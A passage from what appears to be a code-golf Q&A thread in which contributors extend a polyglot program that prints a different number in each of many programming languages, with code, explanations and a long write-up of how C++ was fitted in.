answers. From here I reasoned that if this was to become the world’s largest polyglot, which I presume it to be currently, it would be best if it could leverage comment abuse from both comment families. So I set out to find a way incorporate a `/*` comment language and pushed towards the C family due mostly to a personal familiarity. ## C++ Initial Test My initial thought process for this was to use C# mostly because of my familiarity and the first hurdle for C# was getting the polyglot into a state where it could accept a line that didn’t start with `#` without otherwise being treated as code by the scripting languages. The Rail answer, along with several byte inflating answers that lead up to it, solved this piece. Next came the problem of how to initiate the first `/*` comment block. I knew the line would have to start the line with a `#` to remain invisible to Perl, Ruby and Python, but whatever came before the `/*` would be read by C#. I attempted a C# `#region` tag at first, but that turned out to be too ridged for the 2D languages. Enter C++. C++ has several preprocessor directives that all start with `#`, which give a lot of options for the 2D languages to traverse. But it turned out that all of them were incompatible with at least one language, and being in a C++ exposed code space, I had limited workarounds. Out of frustration and desperation, I stumbled into the fact that C++ would simply accept just a single `#` before the comment block. Okay, whatever, that’s workable. So I moved forward with the presumption that `#/*` could work as the first three characters in the polyglot. The second piece of basic verification was to ensure that the actual print statement could live happily with the other codes. I knew from the Brain-Flak answer that Japt didn’t like un-escaped `{`’s and that was needed for C++ to say `int main() {std::cout<<37;}` and C++ wouldn’t allow Japt’s escape character in the middle of its code. This time I was lucky enough to find that if I dropped out of Japt’s literal string just for this statement, Japt would still happily produce the same result. Meanwhile, Brain-Flak didn’t like the `{}` either, but I was again lucky to find that C++ was ok with a `#` between its `int main()` and `{std::cout<<37;}` statements, allowing the curly braces to be commented out of Brain-Flak’s perspective. So, with the main problems of C++ proven to be theoretically solvable, I began the arduous process of resolving all the errors I’d introduced. ## 2D Landscape The hardest part of this answer was by far the reconfiguration of the top two lines of the polyglot. And the most significant problem was the `*`. Underload will not allow a `*` prior to a `(`. It considers this as math operation on an empty stack, which it feels is an error. So the polyglot required a `(` prior to the `/*` but C++ couldn’t allow this. So the solution was to us a C++ line comment `//` on the first line to hide a `(` and then start the second line with a `#/*`. Next, Befunge really didn’t like the idea of a `/` without something being divided but after studying the existing Begunge answer of `16/"<"6/b.q@` I stumbled on the idea of a number and a string smashed together ahead of the `//`. It worked and I have no idea why C++ is ok with this but it accepts `# 1"16" 2` as it’s opening statement. I’m not going to question it, but I do know that the spaces are required for it to work. ## Line One Japt turned out to be rather space sensitive and didn’t really want to enter into its backtick based string on the top line, so it and Pip’s backtick got moved to the second line, forcing a lot of linguistic gymnastics on line 1. * Pip didn’t like most of line 1, so a second space was placed after the first `#`to indicate a comment. * The `(` for Underload had to be escaped out of Japt with a preceding `\`. * `#` is a jump terminator in Turtlèd so it was required, but Pyth considers this a error terminating loop, so Pyth needed a divide by null `/` after the `#` * I’m not sure what the `@` in the first line is doing anymore, but Pyth and Japt seem to like it’s presence better than not, although `@` is not a meaningful character according to Pyth’s documentation. * And it looks like the first `;` can be removed at this point without consequence, so I’m not sure what was being solved there anymore, although I suspect it was Pyth related. But it looks like future solutions can save a byte by omitting that one. * <>< and Turtlèd both basically work the same as before with <>< reflecting on the first `#` and wrapping to the end of line one. And Turtlèd jumps with `#` like I mentioned and ends with the `"14"` string which it prints. ## 2D routing With these issues resolved, the next phase was routing the 2D languages. Previously the initial `v` was ignored by the Befunges due to the preceding `#`, but sent Haystack and Minkolang down. Now, the initial space attempts to send Minkolang along the 3rd dimension, which its documentation refers to as the time dimension. Quick aside on Minolang’s 3rd dimension: to me it’s something of a misnomer to call this a time dimension it really seems more spacial than temporal to me. I didn’t really get it until I found [this](http://play.starmaninnovations.com/minkolang/?code=V%20%20%2E) link that illustrates the concept, and it seems more like the multiple layers of a 3D chess board. My belief is that this is how 3D languages generally operate. But as this was a new concept to me, I thought I’d throw this info out for others. So Minkolang’s multiple layers are delimited by lines ending in `$$$` which I threw onto the end of the Rail code here: `#-3o4o#$$$`. Now, Minkolang hits the space and falls to first `>` in `<>3N.<> ␉//` and proceeds to the right outputting 3. `#>`couldn’t be allowed to start this line because it would attempt to terminate a Perl6 comment block, so `<` is used instead of `#` to balance for SMBF and Brain-Flak. However, this is a Brain-Flak stack swap procedure, so a second set of `<>` is used after Minkolang Terminates in order to swap back to Brain-Flak’s correct answer. Labrynth similarly bumps up against the space but it causes Labrynth to moves down in column 1. It then turns down line 2 where it travels down to the `3` hits another wall, causing it to turn south again and hit a `;` which causes the 3 to get popped. Then the program continues to the right where 36 gets stored and printed, before finally finding a `@` exit. This path is longer than it needs to be, but I found that Prelude would output a nul byte before it’s normal 20 output if the `!` was any further to the left than it is now, regardless of the line it appears. So I made it more correct, because I had the space to do so. Next, Haystack’s routing got changed because `/` now comes prior to `v` on line 1 and reflects its path up like Reng. Fortunately, Reng cohabitates rather peacefully. The one hitch was that Haystack’s needle `|` was a reflector in Reng, so a Reng uses a Befunge like jump (`#`) over the needle to conclude Reng correctly. The Befunges continue along line 1 until the `v` and get directed down and then to the right on the second line to conclude with the same code used before. My sense is that this piece can be golfed down a bit now that fewer languages are attempting to meaningfully traverse the code, but I didn’t need any more walls to bang my head against, so I left it as is. Finally, Cardinal’s starting point is `%` which had no particular need to be lumped in to the already dense top two lines. So I moved it down to Python’s string. Its multiple code paths are also now bounded by `x`’s, which ends the movement of its pointer. ## Line 2 &3 The only significant change here is that all of the `:` got golfed out for one reason or another. Maybe Prelude’s `(` needs or maybe it was simple byte count problems – probably both. The other thing is that trigger’s jump code got moved back and rebranded as `auaaZ`. I had space to fill to meet Befunge’s code path and this seemed best. Also the `<` following this piece is to balance SMBF’s following `>`. Finially, the lone `”` near the end of the second line are to maintain 05AB1E’s string. Also, `yy` on line 3 are just filler characters for Labyrinth. ## The Big String Esolangs With the top two lines resolved, it was time to start digging into the fuller-parsing esolangs, and Pip turned out to have a problem. If you remember we dealt with the curly braces in `{std::cout<<37;}` by dropping out of the Japt string to let Japt treat this as code. Well, Pip is using the same string syntax and didn’t like this line as code and Pip has very similar string declaration options as Japt. Both use a single `'` to declare a one character string, both use the same escape declaration of `\` and both will accept `"` as string identifiers. So it was difficult to make Pip believe this was a string without making Japt believe the same. It turned out that Japt did have one exploitable difference though - `#` takes the ascii value of the next character. So, `#"`` will terminate the Japt/pip string, then tell Japt to take the asci value of `"`, while telling Pip to start a new string. The `"` probably could have been a backtick instead, and probably would have been better, but my line of thinking was to use a different string identifier on the inside as another point of string manipulation. So here’s another place where you could save a few bytes down the road. Next, I had to initiate the Japt string after the curly braces while allowing Pip to remain in a string. I did this with `'"`` that's a single quote, double quote, and a backtick. For Japt the `'` is not in a string and is therefore an indicator to take the next character as a single char string. Pip sees the `'` as part of the string and terminates its string with the `"`. And finally, ``` is indicates to both Pip and Japt that another string is beginning which continues throughout the polyglot until the last line where both languages complete happily. Now, both Japt and Pip worked at this point, but 05AB1E failed because of the use of `"` caused some error inducing code exposure. Fortunately this one was easy enough to solve by putting another set of `"` around the whole thing, leaving the set of string manipulations as `"`#"\\'*/{std::cout<<37;}/*'"`"`. Finally, with the line now looking like this,`int main() #/*"`#"\'*/{std::cout<<37;}/*'"`"` which Underload had a problem with. The consecutive `*`’s, were another syntax error so I threw a `()` in the middle of the `*`’s to appease it. ## The Fragile Esolangs The big hurdle now was White Space. I won’t go into a ton of detail here because most of the Whitespace solution is built into the explanations already given, and I just glossed over the instances where whitespace forced a few decisions. I’m looking at you Labyrinth. The big change though, is that the actual code to output Whitespace’s answer is on line 2-4 instead of 1-3. This is largely due to Japt’s code exposure in line 1. Thutu originally had problems with what had been this line: `int main() #/*()"`#"\'*/{std::cout<<37;}/*'"`"`. So, I threw in a linefeed just before the first `#` to hide all the problems behind a comment indicator and then spammed out a bunch of trailing `/`’s everywhere else that was code exposed. At this point I aligned Hexagony and found new problem. The code at the very beginning, which started life as `# 1"16" 1` made the `+` in `/+23!@` no longer clear the stack. So, I just removed the `+` is and found it now output 123. This was easy enough to fix by changing the opening gambit to `# 1"16" 2` and golfing the Hexagony piece down to `/3!@`. Whirl had some changes, but it was mostly a matter of making sure the right number of leading 1s appeared before the Whirl-Incident line. Incident though had one token that was particularly difficult. I had exactly 3 copies of `/*` and `*/`. I initially wanted to just throw `*//*` any old place in the code to create a 4th copy of each, but Underload saw consecutive `*`’s again, which was a no go. Ultimately I threw a `/` on the end of this line `int main() /*` to make it end in `/*/`, thinking that I’d make the tokens overlap, but I only succeeded in creating 4 copies of one of the two tokens. Right, right. That’s how that works. Oh well, I’ll just throw a similar `/` in the final `*/` to make a 4th there. After this, I replaced a bunch of hexagony no-ops with a 4th copy of several incident tokens in this string on the final line `7LEintndus({})!<>+`. ## Conclusion Ok, that's all the detail I have for this massive refactor. I promise not to have so much to write about next time. I actually have no idea if C++ is a good or bad choice for this polyglot, but my sense it opens some options. Hopefully this leads to good things. Happy coding. [Answer] # 3. Minkolang v0.15 (26 bytes) ``` #>>>>>>>>v print(1)#>3N.i2 ``` This program prints **1** in Python 3, **2** in Vim, and **3** in Minkolang v0.15 I hope I don't mess things up by introducing a 2d language [Try it online!](http://play.starmaninnovations.com/minkolang/?code=%23%3E%3E%3E%3E%3E%3E%3E%3Ev%0Aprint%281%29%23%3E3N%2Ei2) ### Explanation ``` # stops program from moving through time (really does nothing) >>>>>>>> I can't use a space because then the program will move through time v go down > go right 3N. Outputs 3 and end program Anything afterward is ignored since program has ended ``` Vim somehow ignores Minkolang, so that's good And there really wasn't a problem with Python since it ignores the comments `#` ### Next... For the next language, I suggest something like ><> since `#` acts as a reflector (so that the direction will change to left and it will wrap to all the way in the right) so you can add code that can be ignored by other languages [Answer] ## 5. Python 2 (35 bytes) ``` #3N.;n4 print('1'if 1/2else'5') #i2 ``` This program prints **1** in Python 3, **2** in Vim, **3** in Minkolang v0.15, **4** in ><> and **5** in Python 2. [Try It Online beta!](https://tio.run/#gBXAE) In Python 2, 1/2 is 0, which is a falsy value, which makes Python print 5. In Python 3, 1/2 is 0.5, which is a truthy value, which makes Python print 1. [Answer] ## 4. ><> (29 bytes) ``` #>>>>>>>>v;n4 print(1)#>3N.i2 ``` This program prints **1** in Python 3, **2** in Vim, **3** in Minkolang v0.15 and **4** in ><> [Try it Online!](http://fish.tryitonline.net/#code=Iz4-Pj4-Pj4-djtuNApwcmludCgxKSM-M04uaTI&input=) Code ran ``` # - change direction to left 4 - add 4 to stack n - print as a number ; - end the program ``` Yet another 2D language. Has no effect on Minkolang as it adds characters after the direction changes, gets ignored by Vim for some reason. `#` is a comment in Python so no change their either. [Answer] # 28. [Brain-Flak](https://tio.run/nexus/brain-flak#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), 280 bytes ``` #v`16/"<"6/b.q@"(::)::: (22)S#;n4"14" #>3N6@15o|> ^*ttt*~++~~~% #=~nJ<R"12"; #[ #`<`| print((eval("1\x2f2")and (9) or (13))-(0and 4)^(1)<<(65)>>62)or'(\{(\{})(\{}\/^23!@[()])}\{})(\{}\{})'#@46(8+9+9+9+9+=!)=#print(17)#]#echo 21#|/=1/24=x=90/ #8␛dggi2␛` |1|6$//''25 #>say 27#"26 ``` ␛ represents a literal ESC character, as usual. This program prints [**28** in Brain-Flak](https://tio.run/nexus/brain-flak#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**27** in Perl 6](https://tio.run/nexus/perl6#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**26** in 05AB1E](https://tio.run/nexus/05ab1e#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**25** in Pip](https://tio.run/nexus/pip#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**24** in Thutu](https://tio.run/nexus/thutu#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**23** in Hexagony](https://tio.run/nexus/hexagony#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**22** in Underload](https://tio.run/nexus/underload#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**21** in Nim](https://tio.run/nexus/nim#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**20** in Prelude](https://tio.run/nexus/prelude#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), **19** in Reng (tested [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/)), [**18** in Cardinal](https://tio.run/nexus/cardinal#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**17** in Julia](https://tio.run/nexus/julia5#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**16** in Pyth](https://tio.run/nexus/pyth#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**15** in Haystack](https://tio.run/nexus/haystack#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**14** in Turtlèd](https://tio.run/nexus/turtled#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**13** in Ruby](https://tio.run/nexus/ruby#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**12** in Fission](https://tio.run/nexus/fission#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**11** in Befunge-98](https://tio.run/nexus/befunge-98#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**10** in Befunge-93](https://tio.run/nexus/befunge#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**9** in Perl 5](https://tio.run/nexus/perl#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**8** in Retina](https://tio.run/nexus/retina#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**7** in Japt](https://tio.run/nexus/japt#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**6** in SMBF](https://tio.run/nexus/smbf#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**5** in Python 2](https://tio.run/nexus/python2#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**4** in ><>](https://tio.run/nexus/fish#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**3** in Minkolang](https://tio.run/nexus/minkolang#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**2** in Vim/V](https://tio.run/nexus/v#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**1** in Python 3](https://tio.run/nexus/python3#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA) First off, I want to say what a privilege it is to be able to contribute to this challenge. I only heard of code golf a few weeks ago and I have been absolutely hooked ever since. The first thing I did when I found this challenge was try to run the code as is in various languages just to see if I could find anything I could work with. This was back when we were on like #6. I honestly thought this challenge was bonkers impossible, but here we are (#28 Wow!). What I found at the time was 